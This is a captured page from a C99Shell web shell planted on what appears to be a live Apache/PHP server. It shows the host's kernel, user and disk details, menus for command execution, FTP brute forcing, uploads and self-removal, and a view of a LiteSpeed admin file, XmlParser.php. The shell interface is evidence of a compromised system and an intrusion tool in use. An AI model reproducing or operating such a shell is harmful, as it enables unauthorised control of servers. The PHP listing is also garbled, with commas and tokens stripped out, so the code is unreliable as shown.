!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/local/lsws/admin/html.open/lib/   drwxr-xr-x
Free 13.25 GB of 57.97 GB (22.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     XmlParser.php (2.45 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class XmlParser
{
    private 
$node_stack;
    private 
$cur_node;
    private 
$cur_val;

    public function 
Parse($filename)
    {
        
$root = new CNode(CNode::K_ROOT$filenameCNode::T_ROOT);

        
$filename $root->Get(CNode::FLD_VAL);
        
$xmlstring file_get_contents($filename);
        if ( 
$xmlstring === false )    {
            
$root->SetErr("failed to read file $filename"CNode::E_FATAL);
            return 
$root;
        }

        
$parser xml_parser_create();
        
xml_set_object($parser$this);
        
xml_parser_set_option($parserXML_OPTION_CASE_FOLDINGfalse);
        
xml_set_element_handler($parser'startElement''endElement');
        
xml_set_character_data_handler($parser'characterData');

        
// Build a Root node and initialize the node_stack...
        
$this->node_stack = [];
        
$this->cur_node $root;

        
// parse the data and free the parser...
        
$result xml_parse($parser$xmlstring);
        if ( !
$result )
        {
            
$err 'XML error: 'xml_error_string(xml_get_error_code($parser))
            . 
' at line ' xml_get_current_line_number($parser);
            
$root->SetErr("failed to parse file $filename$err"CNode::E_FATAL);
        }
        
xml_parser_free($parser);

        return 
$root;
    }

    private function 
startElement($parser$name$attrs)
    {
        if ( 
$this->cur_node != null )
            
$this->node_stack[] = $this->cur_node;

        
$this->cur_node = new CNode($name'');

        
$this->cur_val '';
    }

    private function 
endElement($parser$name)
    {
        
$this->cur_node->SetVal(trim($this->cur_val));
        
$this->cur_val '';
        
$node $this->cur_node;
        
$this->cur_node array_pop($this->node_stack);
        
$this->cur_node->AddChild($node);
    }

    private function 
characterData($parser$data)
    {
        
$this->cur_val .= $data;
    }


    public function 
Test()
    {
        
/*ini_set('include_path',    '.:ws/');

        date_default_timezone_set('America/New_York');

        spl_autoload_register( function ($class) {
            include $class . '.php';
        });

            $filename = '/home/lsong/proj/temp/conf/register.xml';
            //$filename = '/home/lsong/proj/temp/conf/templates/ccl.xml';
            $confdata = new ConfData('vh', $filename);
            echo "Test file $filename \n";
            $root = $this->LoadData($confdata);

            $root = $xmlroot->DupHolder();
            $tblDef = DTblDef::GetInstance();
            $filemap = DPageDef::GetInstance()->GetFileMap($confdata->_type);   // serv, vh, tp, admin
            $filemap->Convert($xmlroot, $root, 0, 1);

            $root->PrintBuf($buf1);
            $newxml = $root->DupHolder();
            $filemap->Convert($root, $newxml, 1, 0);
            $newxml->PrintXmlBuf($buf1);
            echo $buf1;
            return true;
            //$this->ExportData($root);
*/
    
}
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0066 ]--